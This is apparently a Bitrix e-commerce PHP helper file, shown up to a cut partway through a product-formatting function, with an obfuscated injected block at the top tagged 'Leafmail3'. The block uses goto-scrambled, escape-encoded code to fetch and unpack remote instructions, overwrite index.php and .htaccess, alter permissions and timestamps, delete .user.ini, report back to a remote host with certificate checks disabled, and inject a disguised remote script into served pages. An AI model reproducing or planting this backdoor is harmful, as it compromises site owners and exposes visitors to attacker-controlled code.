Your IP : 3.136.236.173
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
use Bitrix\Main\Loader;
use Bitrix\Iblock;
use Bitrix\Catalog;
use Bitrix\Sale;
use Bitrix\Main;
// some of this functions should probably migrate to CSaleHelper
/*
* get clean content for CRM
*/
function CRMModeOutput($text)
{
while(@ob_end_clean());
echo $text;
die();
}
/*
* get user name
*/
function fGetUserName($USER_ID)
{
$user = GetMessage('NEWO_BUYER_NAME_NULL');
if (intval($USER_ID) > 0)
{
$rsUser = CUser::GetByID($USER_ID);
$arUser = $rsUser->Fetch();
if (count($arUser) > 1)
{
$user = "<a href='javascript:void(0);' onClick=\"window.open('/bitrix/admin/user_search.php?lang=".LANGUAGE_ID."&FN=order_edit_info_form&FC=user_id', '', 'scrollbars=yes,resizable=yes,width=840,height=500,top='+Math.floor((screen.height - 840)/2-14)+',left='+Math.floor((screen.width - 760)/2-5));\">";
$user .= "(".htmlspecialcharsbx($arUser["LOGIN"]).")";
if ($arUser["NAME"] != "")
$user .= " ".htmlspecialcharsbx($arUser["NAME"]);
if ($arUser["LAST_NAME"] != "")
$user .= " ".htmlspecialcharsbx($arUser["LAST_NAME"]);
$user .= "<span class='pencil'> </span></a>";
}
}
return $user;
}
/*
* get template recomendet & basket product
*/
function fGetFormatedProductData($USER_ID, $LID, $arData, $CNT, $currency, $type, $crmMode = false)
{
$result = "";
$arSet = array();
if (!is_array($arData) || count($arData) <= 0)
return $result;
$result = '<table width="100%">';
if (CModule::IncludeModule('catalog'))
{
$arProductId = array();
$arDataTab = array();
$arSkuParentChildren = array();
$arSkuParentId = array();
$arSkuParent = array();
foreach ($arData as $item)
{
if (!empty($item["CURRENCY"]) && $item["CURRENCY"] != $currency)
{
if (doubleval($item["PRICE"]) > 0)
$item["PRICE"] = CCurrencyRates::ConvertCurrency($item["PRICE"], $item["CURRENCY"], $currency);
if (doubleval($item["DISCOUNT_PRICE"]) > 0)
$item["DISCOUNT_PRICE"] = CCurrencyRates::ConvertCurrency($item["DISCOUNT_PRICE"], $item["CURRENCY"], $currency);
$item["CURRENCY"] = $currency;
}
// get set items
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($item))
{
if (method_exists($productProvider, "GetSetItems"))
{
$itemInfo = (isset($item['ID']) ? array('BASKET_ID' => $item['ID']) : array());
$arSets = $productProvider::GetSetItems($item["PRODUCT_ID"], CSaleBasket::TYPE_SET, $itemInfo);
unset($itemInfo);
if (is_array($arSets))
{
foreach ($arSets as $arSetData)
{
foreach ($arSetData["ITEMS"] as $setItem)
{
$setItem["FUSER_ID"] = $item["FUSER_ID"];
$setItem["LID"] = $item["LID"];
$setItem["MODULE"] = $item["MODULE"];
$setItem["PRODUCT_PROVIDER_CLASS"] = $productProvider;
$setItem["SET_PARENT_ID"] = $item["ID"];
$arSet[$item["PRODUCT_ID"]][] = $setItem;
}
}
}
}
}
if ($item["MODULE"] == "catalog")
{
$arProductId[] = $item["PRODUCT_ID"];
$arDataTab[$item["PRODUCT_ID"]] = $item;
$arParent = CCatalogSku::GetProductInfo($item["PRODUCT_ID"]);
if ($arParent)
{
$arSkuParentChildren[$item["PRODUCT_ID"]] = $arParent["ID"];
$arSkuParentId[$arParent["ID"]] = $arParent["ID"];
}
}
}
if(!empty($arSkuParentId))
{
$res = CIBlockElement::GetList(array(), array("ID" => $arSkuParentId), false, false, array("ID", "IBLOCK_ID", "IBLOCK_SECTION_ID", "PREVIEW_PICTURE", "DETAIL_PICTURE", "NAME", "DETAIL_PAGE_URL"));
while ($arItems = $res->GetNext())
$arSkuParent[$arItems["ID"]] = $arItems;
}
if(!empty($arProductId))
{
$arProducts = array();
$dbProduct = CIBlockElement::GetList(array(), array("ID" => $arProductId), false, false, array('ID', 'IBLOCK_ID', 'IBLOCK_SECTION_ID', 'DETAIL_PICTURE', 'PREVIEW_PICTURE', 'IBLOCK_TYPE_ID'));
while($arProduct = $dbProduct->GetNext())
$arProducts[] = $arProduct;
foreach ($arProducts as $arProduct)
{
$imgCode = "";
$arDataTab[$arProduct['ID']]['IBLOCK_ID'] = $arProduct['IBLOCK_ID'];
$arDataTab[$arProduct['ID']]['IBLOCK_SECTION_ID'] = $arProduct['IBLOCK_SECTION_ID'];
$arDataTab[$arProduct['ID']]['DETAIL_PICTURE'] = $arProduct['DETAIL_PICTURE'];
$arDataTab[$arProduct['ID']]['PREVIEW_PICTURE'] = $arProduct['PREVIEW_PICTURE'];
$arDataTab[$arProduct['ID']]['IBLOCK_TYPE_ID'] = $arProduct['IBLOCK_TYPE_ID'];
$arProduct = $arDataTab[$arProduct['ID']];
if ($arProduct["PREVIEW_PICTURE"] == "" && $arProduct["DETAIL_PICTURE"] == "" && is_set($arSkuParentChildren[$arProduct["PRODUCT_ID"]]))
{
$idTmp = $arSkuParentChildren[$arProduct["PRODUCT_ID"]];
$arProduct["DETAIL_PICTURE"] = $arSkuParent[$idTmp]["DETAIL_PICTURE"];
$arProduct["PREVIEW_PICTURE"] = $arSkuParent[$idTmp]["PREVIEW_PICTURE"];
}
if ($arProduct["IBLOCK_ID"] > 0)
{
$arProduct["EDIT_PAGE_URL"] = CIBlock::GetAdminElementEditLink($arProduct["IBLOCK_ID"], $arProduct["PRODUCT_ID"], array(
"find_section_section" => $arProduct["IBLOCK_SECTION_ID"],
'WF' => 'Y',
));
}
$arProduct["NAME"] = htmlspecialcharsEx($arProduct["NAME"]);
$arProduct["DETAIL_PAGE_URL"] = htmlspecialcharsEx($arProduct["DETAIL_PAGE_URL"]);
$arProduct["CURRENCY"] = htmlspecialcharsEx($arProduct["CURRENCY"]);
if ($arProduct["PREVIEW_PICTURE"] > 0)
$imgCode = $arProduct["PREVIEW_PICTURE"];
elseif ($arProduct["DETAIL_PICTURE"] > 0)
$imgCode = $arProduct["DETAIL_PICTURE"];
$imgProduct = '';
if ($imgCode > 0)
{
$arFile = CFile::GetFileArray($imgCode);
